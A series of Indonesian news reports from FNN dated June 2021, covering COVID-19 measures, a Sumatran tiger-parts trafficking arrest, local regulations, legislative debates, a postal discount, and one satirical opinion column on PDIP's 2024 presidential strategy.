Jakarta, FNN - Ketua DPR RI Puan Maharani menilai Sumber Daya Manusia (SDM) Indonesia yang unggul menjadi penentu kemajuan bangsa karena itu diperlukan kesiapan khususnya dalam menguasai ilmu pengetahuan, teknologi, kreativitas dan inovasi. "Demi membangun SDM Indonesia yang unggul diperlukan kesiapan dalam menghadapi berbagai tantangan. Ini dapat terwujud bila kita menguasai ilmu pengetahuan, teknologi, kreativitas dan inovasi," kata Puan dalam keterangannya di Jakarta, Minggu. Namun dia menekankan bahwa SDM Indonesia yang unggul tidak hanya profesional dan berdaya saing, tetapi harus memiliki kepribadian sebagai bangsa Indonesia. Menurut dia, pembentukan SDM harus diarahkan membentuk SDM yang berkarakter Indonesia karena bangsa Indonesia adalah bangsa yang ramah, sopan santun, toleran, religius, dan bergotong royong. "Pembentukan SDM berkarakter dan tangguh itu harus didukung pendidikan yang diarahkan membentuk SDM berakhlak mulia, berbudaya Indonesia, toleran, bergotong royong, cinta Tanah Air, dan menguasai ilmu pengetahuan dan teknologi," ujarnya. Dia juga mengapresiasi perguruan-perguruan tinggi Indonesia yang terus meningkatkan kualitas agar mampu bersaing di level internasional. Hal ini diungkapkan setelah Lembaga Quacquarelli Symonds (QS) merilis pemeringkatan universitas terbaik QS World University Rankings 2022 atau QS WUR yang diumumkan tahun 2021. Sebanyak 16 universitas di Indonesia masuk daftar prestisius tersebut, bahkan tiga di antaranya merupakan perguruan tinggi swasta. Menurut Puan, itu artinya kualitas pendidikan tinggi secara umum semakin meningkat dan tidak melulu diasosiasikan dengan kampus negeri. "Karena itu kesempatan bagi generasi muda Indonesia untuk menikmati pendidikan tinggi yang berkualitas internasional semakin terbuka lebar. Harapannya, institusi pendidikan tinggi Indonesia dapat menghasilkan SDM unggul bangsa," katanya. Mantan Menteri Koordinator Pembangunan Manusia dan Kebudayaan (PMK) itu menilai di zaman yang penuh gempuran teknologi, anak muda Indonesia memerlukan kepribadian yang kuat sekaligus sikap yang santun. Puan memberi contoh sikap terkait maraknya hoaks yang tersebar lewat berbagai media sosial sehingga generasi muda Indonesia harus cerdas memilah informasi, membedakan mana yang benar dan mana yang hoaks. "Bahkan generasi muda bisa menjadi yang terdepan dalam melawan hoaks, memerangi hate speech, juga mengedepankan dialog yang cerdas tapi santun di media sosial," ujarnya. Politisi PDI Perjuangan itu mengutip data Kementerian Komunikasi dan Informatika (Kemenkominfo), selama periode Maret 2020 hingga Januari 2021 sudah ditemukan sekitar 1.387 hoaks yang beredar di tengah pandemi COVID-19. Dia menilai jika hoaks diabaikan, maka ini berpotensi memecah belah bangsa karena itu mencerdaskan kehidupan bangsa, bukan hanya mengenai intelektualitas, tetapi lebih luas mengenai kecerdasan dalam seluruh perikehidupan bangsa. "Karena itu, jika ingin pendidikan Indonesia bersumbangsih terhadap masa depan kehidupan bangsa, maka diperlukan fokus serta titik berat pada nation and character building," ujarnya. (sws)

KLHK Tangkap Pelaku Perdagangan Kulit dan Organ Harimau di Bengkulu

Bengkulu, FNN - Tim Penegakkan Hukum (Gakkum) Kementerian Lingkungan Hidup dan Kehutanan (KLHK) menangkap satu orang pelaku perdagangan harimau sumatera (panthera tigris sumatrae) di Bengkulu. Kepala Balai Gakkum KLHK Wilayah Sumatera Eduward Hutapea dalam keterangan tertulisnya, Minggu, mengatakan pelaku berinisial MJY (40) ditangkap petugas saat melintas di Jalan Desa Lubuk Sini, Kecamatan Taba Penanjung, Kabupaten Bengkulu Tengah, Bengkulu. Pelaku ditangkap saat sedang membawa dua kardus berisi organ satu ekor harimau yang telah dibedah menjadi beberapa bagian yaitu kulit dan tulang serta beberapa organ tubuh seperti kepala, badan, kaki dan ekor pada Sabtu 19 Juni 2021. "Berdasarkan kondisi kulit yang ada, dugaan kuat harimau tersebut diburu dengan cara dijerat," kata Eduward. Operasi ini melibatkan beberapa pemangku kebijakan diantaranya Polda Bengkulu, Balai Besar Taman Nasional Kerinci Seblat (TNKS) dan Balai Konservasi Sumber Daya Alam (BKSDA) Wilayah Bengkulu-Lampung. Selain organ dan kulit harimau sumatera, petugas juga menyita barang bukti lainnya yakni satu unit sepeda motor dan telepon selular milik pelaku. Pelaku beserta seluruh barang bukti dibawa ke Mapolda Bengkulu untuk kepentingan penyelidikan dan penyidikan lebih lanjut. Menurut Eduward tindakan pelaku telah melanggar ketentuan Pasal 21 ayat 2 huruf d Jo. Pasal 40 ayat 2 Undang-Undang Nomor 5 Tahun 1990 tentang Konservasi Sumber Daya Alam Hayati dan Ekosistemnya dengan ancaman pidana penjara maksimum 5 tahun dan denda maksimum Rp100 juta. "Kami akan terus menjalankan operasi dan mengantisipasi praktik perburuan dan perdagangan satwa yang dilindungi demi menjaga kelestariannya," jelas Eduward. Direktur Pencegahan dan Pengamanan Hutan Ditjen Gakkum KLHK Sustyo Iriyono menilai perdagangan satwa termasuk kejahatan luar biasa. Menurutnya, pelaku tindak pidana ini memiliki jaringan yang berlapis, mengingat organ tubuh satwa dilindungi seperti harimau sumatera memiliki nilai ekonomi yang tinggi. Pemerintah telah melakukan berbagai upaya untuk menghentikan praktik perburuan serta perdagangan organ satwa dilindung ini, termasuk membentuk cyber patrol untuk memetakan pedagangan ilegal tanaman dan satwa dilindungi Dirjen Gakkum LHK Rasio Ridho Sani menambahkan bahwa pihaknya terus berkomitmen dalam penyelamatan tumbuhan dan satwa liar sebagai kekayaan sumber daya hayati. Ia menilai hilangnya sumber daya hayati bukan hanya menimbulkan kerugian baik ekonomi maupun ekologi bagi Indonesia, tapi juga menjadi kehilangan sumber daya hayati dan perhatian masyarakat dunia. "Selama beberapa tahun ini KLHK telah melakukan 389 operasi terhadap perburuan dan perdagangan ilegal satwa yang dilindungi dan 318 kasus sudah dibawa ke pengadilan," ucapnya. Sementara itu Kepala Bidang (Kabid) Humas Polda Bengkulu Kombes Pol Sudarno membenarkan penangkapan satu orang pelaku penjualan kulit dan organ harimau sumatera di Kabupaten Bengkulu Tengah itu. Sudarno menyebut pihaknya akan segera melakukan ekspose terhadap perkara itu di Mapolda Bengkulu. "Sementara belum banyak yang bisa kami sampaikan. Nanti akan diagendakan ekspose pada hari Senin," demikian Sudarno. (sws)

Satpol PP Mukomuko Tangkap Belasan Ternak Berkeliaran di Jalan Raya

Mukomuko, FNN- Dinas Satuan Polisi Pamong Praja dan Pemadam Kebakaran Kabupaten Mukomuko, Provinsi Bengkulu, sejak bulan Januari 2021 sampai saat ini telah menangkap sedikitnya 11 ekor hewan ternak yang dilepasliarkan oleh pemiliknya di jalan raya dan fasilitas umum di daerah itu. "Semua hewan ternak yang ditangkap oleh petugas Satpol PP tersebut merupakan sapi,” kata Kabid Penegak Perundang-undangan Daerah Dinas Satpo PP dan Damkar Kabupaten Mukomuko Sapuan di Mukomuko, Minggu. Dinas Satpol PP dan Pemadam Kebakaran setempat menangkap sebanyak belasan hewan ternak tersebut sesuai dengan Peraturan Daerah Nomor 9 tahun 2019 tentang Perubahan Perda Nomor 26 tahun 2011 tentang Penertiban Hewan Ternak yang dilepasliarkan oleh pemiliknya di daerah ini. Ia mengatakan, berdasarkan peraturan daerah tersebut hewan ternak berkaki empat seperti kerbau, sapi dan kambing tidak boleh dilepasliarkan di jalan dan fasilitas umum di daerah ini. Bagi warga setempat yang ingin mengambil hewan ternaknya yang telah ditangkap oleh personel Satpol PP setempat harus membayar denda sesuai dengan peraturan daerah setempat. Ia mengatakan berdasarkan perda terbaru tersebut sanksi denda terhadap pemilik sapi dan kerbau dinaikkan dari sebesar Rp1 juta menjadi Rp3 juta guna memberikan efek jera terhadap pemilik sapi. Sementara itu, katanya, petugas Satpol PP kesulitan menangkap kerbau yang berkeliaran di jalan raya dan fasilitas umum di daerah ini apalagi saat kerbau berada di gerombolannya. “Petugas Satpol sudah berusaha menangkap kerbau yang dilepasliarkan oleh pemiliknya di jalan raya dan fasilitas umum daerah ini tetapi selalu gagal karena kerbau memiliki tenaga lebih besar dibandingkan sapi,” ujarnya. Kendati demikian, ia mengatakan, petugas Satpol PP akan terus melakukan razia untuk menertibkan semua hewan ternak yang dilepasliarkan di jalanm raya dan fasilitas umum di daerah ini. (sws)

Akademikus: Aturan Pidana Salah Tangkap Perlu Masuk RUU KUHP

Semarang, FNN - Dosen Fakultas Hukum Unissula Semarang Jawade Hafidz memandang perlu di dalam Rancangan Undang-Undang tentang Kitab Hukum Undang-Undang Pidana (RUU KUHP) ada ancaman pidana terhadap anggota Polri yang salah tangkap terhadap orang yang terbukti tidak melakukan kejahatan. "Perlu ada pasal yang mengatur tentang anggota Polri yang terbukti salah tangkap dan/atau melakukan penyalahgunaan wewenang dalam melaksanakan tugas dan kewajibannya sebagai penegak hukum," kata Dr. Jawade Hafidz, S.H., M.H. menjawab pertanyaan ANTARA di Semarang, Minggu sore. Sebelumnya, Jawade menyebutkan terdapat Pasal 282 dan Pasal 515 RUU KUHP yang mengancam pidana terhadap advokat yang berbuat curang, padahal polisi, jaksa, dan advokat sama-sama penegak hukum. Terhadap polisi yang salah tangkap dan/atau menyalahgunakan wewenang, menurut Jawade, tidak hanya Peraturan Kapolri Nomor 14 Tahun 2011 tentang Kode Etik Profesi Kepolisian Negara Republik Indonesia dan Perkap Nomor 14 Tahun 2012 tentang Manajemen Penyidikan Tindak Pidana, tetapi juga perlu ada ketentuan di dalam KUHP. Apalagi, di dalam RUU KUHP Pasal 51, antara lain menyebutkan pemidanaan bertujuan mencegah dilakukannya tindak pidana dengan menegakkan norma hukum demi pelindungan dan pengayoman masyarakat. Pakar hukum dari Unissula ini lantas mengusulkan frasa "penyelidik dan/atau penyidik" menggantikan istilah "pejabat" dalam RUU KUHP. Dengan demikian, bunyi pasal tersebut: Penyelidik dan/atau penyidik dengan menggunakan kekerasan memaksa terlapor dan/atau tersangka untuk mengaku atas perkara yang dituduhkan kepadanya dan memaksa saksi untuk memberikan keterangan menurut kemauan penyidik, dipidana dengan pidana penjara maksimal 4 tahun. Penyalahgunaan jabatan atau kewenangan juga sudah terdapat dalam RUU KUHP (Pasal 537 sampai Pasal 547). Salah satu contoh membiarkan orang tersebut melarikan diri, melepaskan orang tersebut, atau menolong orang tersebut pada waktu dilepaskan atau melepaskan diri dipidana dengan pidana penjara paling lama 4 tahun. Bahkan, karena kelalaiannya mengakibatkan orang yang ditahan melarikan diri, pejabat yang ditugaskan menjaga orang yang ditahan menurut perintah pejabat yang berwenang atau putusan atau penetapan pengadilan dipidana dengan pidana penjara paling lama 1 tahun. (sws)

Operasi Ganjil-Genap di Kota Bogor Dilaksanakan Sabtu dan Minggu

Bogor, FNN - Satgas Penanganan COVID-19 Kota Bogor melalui Polresta Bogor Kota melaksanakan kebijakan ganjil-genap untuk kendaraan bermotor di Kota Bogor pada Sabtu (19/6) dan Minggu hari ini, pada pukul 10:00 WIB hingga 16:00 WIB. "Dari dua hari pelaksanaan ganjil-genap untuk kendaraan bermotor, hasilnya akan dievaluasi oleh Satgas pada hari Senin (21/6) besok, apakah akhir pada pekan depan waktu pelaksanaannya, pada pukul 100:00-16:00 WIB, akan ditambah atau dikurangi," kata Kapolresta Bogor Kota Kombes Pol Susatyo Purnomo Condro, di Kota Bogor, Minggu. Menurut Susatyo, pelaksanaan ganjil-genap untuk kendaraan bermotor pada akhir pekan ini dilaksanakan, pada pukul 10:00 WIb hingga 16:00 WIB, diputuskan berdasarkan hasil rapat koordinasi Satgas Penanganan COVID-19 Kota Bogor pada pekan sebelumnya. Susatyo menjelaskan, pelaksanaan ganjil-genap untuk kendaraan bermotor pada pukul 10:00 WIB hingga 16:00 WIB, dengan pertimbangan kunjungan warga dari luar Kota Bogor pada akhir pekan, terutama pada pukul 10:00 WIB hingga 16:00 WIB. "Kunjungan ke Kota Bogor untuk wisata dan berpotensi besar menimbulkan kerumunan, terutama di pusat Kota Bogor," katanya. Menurut dia, berdasarkan data dari Dinas Kesehatan Kota Bogor, situasi Kota Bogor saat ini sudah berada di garis bawah zona oranye, sehingga harus dicegah jangan sampai masuk ke zona merah. "Satgas berusaha keras untuk menekan penularan COVID-19 di Kota Bogor," katanya. Susatyo menambahkan, pedestrian pada lingkar Kebun Raya Bogor (KRB), pada Sabtu (19/6) dan Minggu pagi hari ini juga ditutup dari aktivitas warga. "Jalur pedestrian itu, biasanya dimanfaatkan oleh warga untuk jalan kaki, olahraga jogging, maupun bersepeda. Penutupan jalur pedestrian pada pagi hari ini juga untuk menghindari kerumunan," katanya. Pada pelaksanaan ganjil-genap untuk kendaraan bermotor di Kota Bogor pada Sabtu (19/6), pada pukul 10:00 WIB hingga 16:00 WIB, telah memutarbalik arah sebanyak 3.095 kendaraan, meliputi 1.486 kendaraan roda dua dan 1.609 kendaraan roda empat. (mth)

Kasus Sebaran COVID-19 di Lebak Tembus 3.889 Orang

Lebak, FNN - Kasus penularan COVID-19 di Kabupaten Lebak, Banten hingga Sabtu (19/6) sudah menembus 3.889 orang dengan jumlah pasien sembuh 3.480 orang atau tersisa 356 orang menjalani perawatan medis dan isolasi mandiri. "Dari 3.889 orang yang terpapar virus corona itu dilaporkan 76 orang meninggal dunia, " kata Juru Bicara Gugus Tugas Percepatan Penanganan COVID-19 Kabupaten Lebak Firman Rahmatullah di Lebak, Minggu. Penyebaran COVID-19 di Kabupaten Lebak setelah Lebaran 2021 terjadi lonjakan hingga menjadi zona orange dari sebelumnya zona kuning. Peningkatan corona tersebut akibat penyebaran klaster keluarga, karena mereka banyak yang mendatangi obyek wisata. Kemungkinan mereka tidak menerapkan protokol kesehatan dengan memakai masker, menjaga jarak, mencuci tangan dan menghindari kerumunan. "Kami minta masyarakat agar membudayakan protokol kesehatan guna mengendalikan pandemi COVID-19," katanya. Menurut dia, penyebaran virus corona di Kabupaten Lebak hingga kini terus meningkatkan berdasarkan data Jumat (18/6) tercatat sebanyak 3.818 orang dan di antaranya 3.640 orang dinyatakan sembuh, 287 orang menjalani isolasi dan perawatan medis serta 71 orang dilaporkan meninggal dunia. Sedangkan, kata dia, data penyebaran COVID-19 Sabtu (29/6) meningkat hingga mencapai 3.889 orang dan 3.480 orang dinyatakan sembuh serta 356 orang menjalani perawatan medis dan isolasi mandiri serta 76 orang meninggal dunia. "Saya kira peningkatan corona itu tentu masyarakat harus sadar protokol kesehatan, " katanya. Ia mengatakan, untuk pengendalian virus corona kini dioptimalkan pelayanan 3T, yakni Testing (pemeriksaan), Tracing (pelacakan), dan Treatment (pengobatan). Pelayanan 3T untuk menemukan kasus baru dan mereka yang memiliki gejala virus corona dilakukan rujukan ke RSUD Banten, sedangkan tanpa gejala menjalani isolasi mandiri. Selain itu juga pihaknya akan melakukan "tracking" terhadap ruang lingkup pasien yang dinyatakan positif COVID-19. Pelaksanaan "tracking" dan penyelidikan epidemiologi untuk mencari kontak erat kasus dan melakukan swab terhadap warga yang kontak badan dengan yang sebelumnya dinyatakan positif corona. "Kami menggratiskan biaya tes usap itu untuk mencegah penyebaran COVID-19," katanya. (mth)

Satgas TNI Bantu Renovasi Rumah Warga di Perbatasan RI-PNG

Keerom, FNN - Prajurit TNI Satgas Pamtas Yonif 131/Brs Pos Kali Asin dipimpin Letda Inf Daniel membantu perbaikan rumah warga Kampung Kibay Kali Asin, Distrik Arso Timur, Kabupaten Keerom, di kawasan perbatasan Indonesia dengan Papua Nugini, Minggu. Wakil Komandan Satgas Pamtas RI-PNG Yonif 131/Brs Mayor Inf Achmad Muzani CH dalam keterangan tertulis di Pos Kout KM 31 Arso Timur, Kabupaten Keerom mengatakan perbaikan rumah warga dilaksanakan dalam kegiatan karya bakti prajurit Satgas Yonif 131/Brs dari Pos Kali Asin. "Melalui karya bakti sebagai sarana komunikasi sosial TNI untuk lebih mendekatkan diri dengan masyarakat. Pendekatan secara fisik dan nonfisik secara terus-menerus dilakukan demi tercapainya kemajuan pembangunan di wilayah perbatasan Papua," kata dia. Di tempat terpisah, Letda Inf Daniel mengatakan selain untuk membantu memperbaiki rumah warga, kegiatan kerja bakti satgas TNI ini juga untuk membangkitkan kembali semangat gotong royong dalam kehidupan bermasyarakat, berbangsa, dan bernegara. Dia mengakui sebagai anggota TNI, tak hanya fokus dan setia dalam dinas kemiliteran sesuai Sapta Marga dan Sumpah Prajurit, tetapi juga harus selalu sigap dan tanggap membantu kesulitan dan kebutuhan masyarakat di sekelilingnya. "Sehingga akan terwujud rasa kebersamaan dan kemanunggalan antara TNI-rakyat," ujar dia. Tokoh pemuda selaku pemilik rumah, Elias Kuntuy, berterima kasih atas bantuan perbaikan rumah yang telah diberikan prajurit TNI Pos Kibay, Kaliasin. "Terima kasih kepada personel Pos Kali Asin yang mau datang dan membantu kami para warga, semoga kerja sama antara TNI dan masyarakat dapat terus terjalin dengan baik," katanya. (mth)

Teras Narang Desak RUU Masyarakat Hukum Adat Segera Dituntaskan

Palangka Raya, FNN - Anggota DPD RI Agustin Teras Narang mendesak agar Rancangan Undang-Undang (RUU) Masyarakat Hukum Adat, yang telah berlarut-larut sejak kepemimpinan Presiden Soesilo Bambang Yudhoyono, segera dituntaskan. "Apabila tidak kunjung tuntas dibahas RUU itu menjadi indikasi bahwa negara tidak serius dalam memberikan perlindungan bagi masyarakat hukum adat," kata Teras Narang melalui rilis diterima di Palangka Raya, Minggu. Padahal, lanjut dia, dalam sistem sosial dan bangunan kehidupan masyarakat hukum adat, Pancasila hidup dan kearifannya digali oleh Presiden Soekarno untuk dijadikan sebagai dasar negara yang menjadi sumber dari segala sumber hukum negara. Senator asal Kalimantan Tengah itu mengatakan, jangan sampai menyebut negara ini Pancasila, tapi melupakan ruang sosial yang melahirkan dasar negara ini. Presiden Jokowi pun yang terpilih memimpin negara ini, tidak lepas dari dukungan masyarakat hukum adat. "Harus dipahami, tidak tuntasnya RUU Masyarakat Hukum Adat ini, menimbulkan tumpukan masalah atas pendekatan hukum sektoral yang selama ini dinilai merepotkan dan merugikan," kata Teras Narang. Menurut Presiden Majelis Adat Dayak Nasional (MADN) periode 2005-2015 itu, pendekatan baru terhadap masyarakat hukum adat yang sungguh berkeadilan, mestinya bisa dilakukan dalam kerangka membangun perekonomian nasional dan sesuai UUD 1945 Pasal 33 yang menekankan prinsip perekonomian nasional. Dia mengatakan prinsip yang tertera dalam UUUD 1945 itu antara lain kebersamaan, efisiensi berkeadilan, berkelanjutan, berwawasan lingkungan, kemandirian, serta dengan menjaga keseimbangan kemajuan dan kesatuan ekonomi nasional. "Prinsip ini erat dengan kehidupan masyarakat hukum adat yang mestinya tidak dipersulit untuk mendapatkan hak mereka dalam terlibat membangun perekonomian nasional," kata Teras. Dia menambahkan, pengakuan konstitusi yang diteruskan dengan aturan terkait perlindungan lewat RUU MHA mesti jadi perhatian bersama. Parlemen dan pemerintah, jangan sampai dinilai hanya ramah pada investasi dengan produk omnibus law UU Cipta Kerja yang dapat lekas dituntaskan. Berbanding terbalik dengan proses penyusunan RUU MHA yang disebut sudah bertahun-tahun tak tuntas. "Berhasilnya metode omnibus law untuk UU Cipta Kerja, mestinya malah jadi momentum baik bagi parlemen dan pemerintah melakukan langkah serupa dalam menuntaskan RUU MHA. Itulah keadilan," tegasnya. Gubernur Kalimantan Tengah periode 2005-2015 itu memahami, ada kerisauan bahwa RUU MHA akan kontraproduktif dengan upaya meningkatkan investasi. Namun, dirinya tetap meminta pemangku kepentingan percaya terhadap konstitusi dan membuat pengaturan yang berkeadilan, agar investasi maupun perlindungan masyarakat adat, dapat berjalan beriringan. "Jadi harap agar RUU yang penting ini jangan hanya dijadikan alat politik pendulang suara, tapi tidak diselesaikan. Apalagi bila isinya juga tidak mencerminkan aspirasi masyarakat adat, yang berharap tak lagi dipersulit dengan proses yang rumit dan tidak mencerminkan semangat pelayanan publik yang baik," demikian Teras Narang. (mth)

Pos Indonesia Beri Diskon untuk Kiriman Kurir dan Logistik

Bandung, FNN - PT Pos Indonesia (Persero) terus berupaya meningkatkan transaksi kiriman kurir dan logistik pada akhir pekan, dengan membuat berbagai program spesial bagi masyarakat, salah satu langkah yang dilakukan Pos Indonesia yaitu menggelar program diskon hingga 20 persen untuk transaksi kurir dan logistik. "Program diskon up to 20 persen berlaku pada Minggu, 20 Juni 2021. Jadi upaya ini digenjot Pos Indonesia untuk meningkatkan trafik kiriman antar daerah di Indonesia," kata Direktur Bisnis Kurir dan Logistik PT Pos Indonesia (Persero) Siti Choiriana dalam siaran persnya, Minggu. Siti Choiriana atau akrab disapa Anna, setelah meningkatkan layanan dengan menambah jam operasional buka hingga Sabtu dan Minggu, Pos Indonesia terus berupaya meningkatkan trafik kiriman pada akhir pekan. Tujuannya, kata Ana, agar masyarakat semakin dimudahkan atas layanan Pos Indonesia. "Khusus untuk hari ini (Minggu), kami membuat program diskon up to 20 persen untuk layanan kurir dan logistik. Program diskon ini berlaku di seluruh Indonesia," kata Anna. Beberapa layanan kurir yang bakal mendapat program diskon up to 20 persen diantaranya Pos Express, Pos Kilat Khusus, Pos Jumbo Ekonomi, Q9 Sameday Device, dan lainnya. Sedangkan layanan logistik seperti warehouses dan freight forwarding. Lebih lanjut Anna menjelaskan, potensi masyarakat mengakses jasa kurir dan logistik pada akhir pekan sebenarnya cukup besar. Karena, pada Senin hingga Jumat biasanya mereka sibuk bekerja, sehingga baru bisa melakukan pengiriman barang pada Sabtu atau Minggu. Potensi itu, yang saat ini sedang dibidik Pos Indonesia dan program diskon up to20 persen, menurut Anna, juga sebagai tindaklanjut dari program sebelumnya, di mana mulai awal Juni lalu BUMN ini menambah jam operasional, tetap buka pada Sabtu dan Minggu, serta tanggal merah. "Kami Pos Indonesia terus campaign bahwa kami buka pada Sabtu dan Minggu. Bahkan kami ingin sampaikan bahwa layanan Pos itu buka 24 jam dan 7 hari dalam seminggu. Sehingga masyarakat bisa menggunakan jasa kurir dan logistik kami," katanya. Pos Indonesia berharap, kedepan akan semakin banyak masyarakat yang terbiasa melakukan transaksi pengiriman pada akhir pekan. Termasuk, para pelaku usaha seperti UMKM yang akan dimudahkan dengan beroperasinya layanan kiriman pada Sabtu dan Minggu, serta program diskon ini. (mth)

Bu Mega Harus Berkeras: Puan Capres 2024, Prabowo Cawapresnya

By Asyari Usman Medan, FNN - Dalam tulisan terdahulu, Jokowi diskenariokan tiga periode. Prabowo Subianto (PS) akan menjadi cawapresnya. Skenario ini sedang digarap serius. Kemarin, barisan relawan yang menamakan diri Komunitas Jokowi-Prabowo 2024 (Jokpro 2024) resmi dibentuk. Gagagasan Jokowi tiga periode dengan Prabowo sebagai cawapres, mau tak mau, menimbulkan gesekan langsung ke Bu Megawati (ketum PDIP). Sebab, Bu Mega telah menyiapkan formula pencapresan Prabowo-Puan atau Puan-Prabowo. Tetapi, keinginan Bu Mega ini diganggu oleh orang-orang yang terlibat dalam survei elektabilitas. Misalnya, saat ini sedang deras opini yang melemahkan semangat Bu Mega untuk menjadikan Puan Maharani sebagai capres PDIP di Pilpres 2024. Yang terbaru adalah serangan Denny JA (DJA) yang menyimpulkan bahwa PDIP akan kalah kalau mengajukan Puan sebagai capres. Danny juga mengatakan, Ganjar Pranowo punya peluang besar menjadi ketum PDIP jika dia menang pilpres. Gagasan Denny ini sangat merendahkan. Meskipun Puan tak muncul signifikan di berbagai survei, tidaklah elok kalau itu dikatakan secara terbuka. Bu Mega harus “membungkam” DJA dengan cara yang membuat dia “mabuk” dan balik mendukung Puan. Bagaimana caranya? Sangat mudah. Tidak perlu berkeringat-keringat. Juga tidak perlu mengerahkan buzzer untuk mengeroyok Denny. Panggil saja Danny untuk bincang-bincang santai. Di rumah atau di plaza sate. Ajak dia bersaudara. Kasih dia kisi-kisi tentang “persaudaraan” itu. Dia pasti segera menangkap apa maksudnya. Pupuk persaudaraan “setebal” mungkin. Semakin tebal, makin mantap langkah DJA untuk menunjukkan persaudaraan dengan Bu Mega dan Puan. Itu tentang Denny JA. Yang juga mengerdilkan Puan adalah kemunculan relawan Jokpro 2024 seperti dijelaskan di atas. Salah satu pentolah Jokpro 2024 adalah M Qodari. Dia direktur lembaga survei, Indo Barometer. Nah, seperti halnya pendekatan dengan Denny, Bu Mega juga pasti bisa mengajak Qodari bersaudara. Dia bisa dirangkul untuk mengamankan Puan di Pilpres 2024. Tanya langsung Qodari “apa” yang dia perlukan. Klarkan segera. Fokuskan pandangan Qodari ke satu “benda keramat” yang akan membuat dia terhipnotis. Setelah itu, bakal muluslah jalan Mbak Puan. Selain DJA dan Qadari, banyak lagi yang harus diajak bincang-bincang dan membangun “persaudaraan tebal” demi memperkuat Puan menuju Pilpres 2024. Rekrut para aktivis survei lainnya, yang alsi maupun yang abal-abal. Tebalkan segala sesuatu untuk mereka. Pasti popularitas Puan akan melambung tinggi. Ini harus dilakukan oleh Bu Mega. Sekaranglah saatnya menyelamatkan Puan. Tidak banyak waktu untuk disia-siakan. Bu Mega harus berkeras agar Puan capres 2024. Yakinlah, Prabowo siap menjadi cawapres dengan dukungan penuh Gerindra. Perkara sudah ada janji Bu Mega mendukung Prabowo sebagai capres 2024, bukan masalah besar itu. Pak Prabowo akan selalu siap menerima apa saja. Beliau sudah biasa seperti itu. Jangan khawatir. Kalau Bu Mega tidak berkeras ajukan Puan sebagai capres 2024, konsekuensinya sangat fatal. Pertama, karir politik Puan akan tamat. Kedua, PDIP bakal diambil orang lain dengan mudah. Setelah 2024, generasi PDIP akan berubah. Tantangan dan tuntutan akan berbeda. Posisi Bu Mega akan melemah secara natural. Jadi, Pilpres 2024 adalah momen terbaik dan terakhir untuk Mbak Puan. Tidak akan ada lagi. Mumpung Bu Mega masih 100% menguasai PDIP, pastikan di internal partai bahwa Puan capres dan Prabowo cawapres. Hanya dengan formula inilah Bu Mega bisa mencegah Jokowi tiga periode dan sekaligus menyelamatkan Puan. Ingat, Pak Jokowi itu sangat kuat meskipun tidak punya partai. Beliau bisa bergerilya di DPR dan DPD untuk mengubah pasal 7 UUD agar presiden bisa tiga periode. Kecuali Bu Mega memang mendukung Jokowi tiga periode. End of discussion, tidak perlu diskusi lagi.[] (Penulis wartawan senior FNN.co.id)

Permukiman di Cilandak Dikarantina Akibat 17 Warga Positif COVID-19

Jakarta, FNN - Salah satu permukiman warga di Jalan Madrasah, Gandaria Selatan, Cilandak, Jakarta Selatan, dikarantina (lockdown) akibat 17 warga positif COVID-19. "Yang pertama dilakukan lokalisasi akses terhadap kampung ini ditutup dengan kampung lain," kata Kapolres Metro Jakarta Selatan Komisaris Besar Polisi Azis Andriansyah ketika meninjau permukiman tersebut di Cilandak, Jakarta Selatan, Ahad. Menurut dia, ada 17 warga di RT 06/RW 01 Gandaria Selatan yang positif COVID-19. Mereka menjalani isolasi mandiri di delapan rumah yang berada di lingkungan tersebut. Untuk memenuhi kebutuhan dasar warga yang menjalani isolasi mandiri itu, warga setempat membangun dapur umum didukung TNI, Polri dan Pemerintah Kota Jakarta Selatan. Sementara itu, untuk akses keluar-masuk diberlakukan sistem satu pintu dan dijaga aparat Kepolisian, TNI dan warga. "Di sistem itu dijaga aparat polisi, TNI dan masyarakat. Di sini akan terdata orang keluar-masuk, dipastikan harus sehat dan terutama pengawasan orang isolasi mandiri tidak boleh beraktivitas di luar rumah sambil menunggu pulih," katanya. Untuk warga yang positif COVID-19 itu, kata Azis, saat ini lima orang sedang menunggu hasil tes usap PCR terakhir. "Warga setempat masih memberlakukan protokol kesehatan ketat untuk memastikan kampung ini bebas dari COVID-19," katanya. Azis kembali mengingatkan warga untuk selalu menerapkan protokol kesehatan mencermati lonjakan kasus COVID-19 di Jakarta. Berdasarkan data Pemprov DKI Jakarta melalui akun resmi twitter @DKIJakarta menyebutkan per Sabtu (19/6) ada tambahan kasus COVID-19 mencapai 4.895 kasus sehingga total akumulasi menjadi 468.447 kasus. Sedangkan kasus aktif yang masih dirawat/isolasi bertambah sebanyak 2.601 kasus sehingga total akumulasi mencapai 27.112 kasus. (mth)

Wali Kota Payakumbuh Targetkan Vaksinasi 1.000 Warga per Hari

Payakumbuh, FNN - Wali Kota Payakumbuh, Sumatera Barat Riza Falepi menargetkan rata-rata dalam satu hari warga setempat yang divaksin COVID-19 bisa mencapai angka 1.000 orang. "Vaksin menjadi salah satu upaya yang paling efektif dalam menekan angka penyebaran COVID-19. Kita targetkan 900 sampai 1.000 masyarakat divaksin dalam sehari," kata dia saat membuka Gebyar Vaksinasi di Payakumbuh, Minggu. Ia mengatakan kesuksesan vaksinasi dapat menekan penyebaran COVID-19 ini bisa berkaca dari beberapa negara, salah satunya Amerika Serikat yang angka vaksinasi sudah melampaui 50 persen sehingga masyarakat sudah dapat beraktivitas tanpa masker. "Kami mengharapkan agar kita di Indonesia khususnya Kota Payakumbuh angka warga kita yang divaksin juga bisa tinggi sehingga nantinya penyebaran dapat diminimalisir sehingga aktivitas bisa berjalan normal," ujarnya. Secara keseluruhan, pihaknya menargetkan 80.000 masyarakat bisa divaksin sampai dengan akhir 2021. "Sekarang kita sudah 12.000 mendekati 13.000, semoga sampai akhir tahun bisa kita capai 80.000 ini. Mari kita sukseskan vaksinasi," kata dia. Ia mengatakan saat ini kendala utama masih cukup rendahnya angka vaksinasi karena banyaknya masyarakat yang menerima informasi bohong tentang vaksin COVID-19. "Ada yang magnetlah, ada yang pakai chip-lah, macam-macam. Padahal ini tidak benar, mari kita sukseskan vaksin sehingga nantinya kehidupan kita dapat kembali berjalan normal dan ekonomi kita bangkit kembali," ujarnya. Kepala Dinas Kesehatan Payakumbuh Bakhrizal mengatakan sasaran Gebyar Vaksinasi adalah warga yang KTP Payakumbuh, orang-orang yang sehari-hari bekerja di Payakumbuh seperti petugas publik, guru, tenaga kependidikan, dan pedagang pasar. "Tentu saja vaksinasi warga Payakumbuh yang berumur 18 tahun ke atas, diutamakan lansia. Bahkan, semua pegawai BUMN, BUMD, dan swasta yang ada di Payakumbuh bisa ikut saat Gebyar Vaksinasi ini digelar," kata dia. Saat ini, kata dia, total 